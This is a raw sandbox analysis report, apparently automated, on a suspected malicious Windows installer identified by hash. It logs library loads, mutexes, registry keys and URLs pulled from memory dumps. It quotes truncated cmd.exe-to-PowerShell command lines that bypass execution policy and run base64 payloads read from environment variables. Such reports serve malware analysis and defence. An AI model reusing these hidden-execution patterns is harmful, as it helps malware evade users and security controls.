%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00008992) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008816) "wscript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008816) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007628) "AppLauncher.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007628)3e:T549,Found string "%WINDIR%\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00009092-00000C47-1104219996") Found string "%WINDIR%\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $" (Indicator: "cmd.exe /c"; Source: "00000000-00009092-00000C47-1104219996") Found string "%WINDIR%\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64;" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00009092-00000C47-23094541580"), Found string "%WINDIR%\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64;" (Indicator: "cmd.exe /c"; Source: "00000000-00009092-00000C47-23094541580") Found string "%WINDIR%\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { ex" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00009092-00000C47-44745089962"), Found string "%WINDIR%\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { ex" (Indicator: "cmd.exe /c"; Source: "00000000-00009092-00000C47-44745089962")3f:Tcc5,Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5188:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5188:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "SM0:5188:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "Local\SM0:5188:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7280:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7280:64:WilError_03" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "Local\SM0:7280:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "SM0:7280:64:WilError_03" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "Local\SM0:7280:64:WilError_03" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "SM0:7280:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\BaseNamedObjects\_MSIExecute" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7280:64:WilError_03" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7280:168:WilStaging_02" Process 4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe created mutex with name "\BaseNamedObjects\MSILOG_4967cd541dd664agol.gkPniaM_000_50532172016202_DM7JAJEnKh_pmeT_lacoL_ataDppA_SWBUPAH_sresU_:C" Process msiexec.exe created mutex with name "\BaseNamedObjects\Global\MSILOG_4967cd541dd664agol.gkPniaM_000_50532172016202_DM7JAJEnKh_pmeT_lacoL_ataDppA_SWBUPAH_sresU_:C" Process msiexec.exe created mutex with name "\BaseNamedObjects\Local\SM0:8736:304:WilStaging_02" Process msiexec.exe created mutex with name "\BaseNamedObjects\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process msiexec.exe created mutex with name "\BaseNamedObjects\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process msiexec.exe created mutex with name "\BaseNamedObjects\SM0:8736:120:WilError_03" Process msiexec.exe created mutex with name "\BaseNamedObjects\SM0:8736:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7916:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:7916:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:9092:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:9092:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5252:304:WilStaging_02"40:Te41,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" failed to load missing module "%WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\bafunctions.dll" - [base:0; Status:c0000135] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" failed to load missing module "%WINDIR%\SysWOW64\TSAPPCMP.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135]41:T6885,"istry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00005188.00000000.160562.00740000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\%ls\Updates\" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Installer" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "SOFTWARE\Policies\" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "Software\Classes\Installer\Dependencies\" in Source: 00000000-00005188.00000003.171844.00D1E000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005780.00000000.162098.55770000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005780.00000000.162098.55770000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\CI\TRSData" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005780.00000000.162098.57A10000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005792.00000000.161507.80390000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework>" in Source: 00000000-00005792.00000000.161507.80390000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework lvpmlv" - Source: "00000000-00005188.00000003.171844.00D1E000.00000002.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipinstallsource=c:\users\visnsqb\appdata\local\ujovxdbocmprcommonprogramfiles(x86)=c:\program" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zip0kxuprocessor_identifier=intel64" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipp=b?processor_identifier=intel64" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e,czc%wvf[(;1addtrustfc78" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcf%w0digicert" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00005780.00000000.162098.55920000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00005780.00000000.162098.572B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%yvjs%92.5.29.1system.management.automationmicrosoft.management.infrastructure2.5.4.3microsoft.powershell.consolehostpdigicert" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erismicrosoft" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm@sg" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005780.00000000.162098.6FA94000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005780.00000000.162098.6FA94000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005780.00000000.162098.6FA94000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zip" - Source: "00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipinstallsource=c:\users\visnsqb\appdata\local\ujovxdbocmprcommonprogramfiles(x86)=c:\program" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zip0kxuprocessor_identifier=intel64" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipp=b?processor_identifier=intel64" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e,czc%wvf[(;1addtrustfc78" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcf%w0digicert" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00005780.00000001.162312.55920000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" 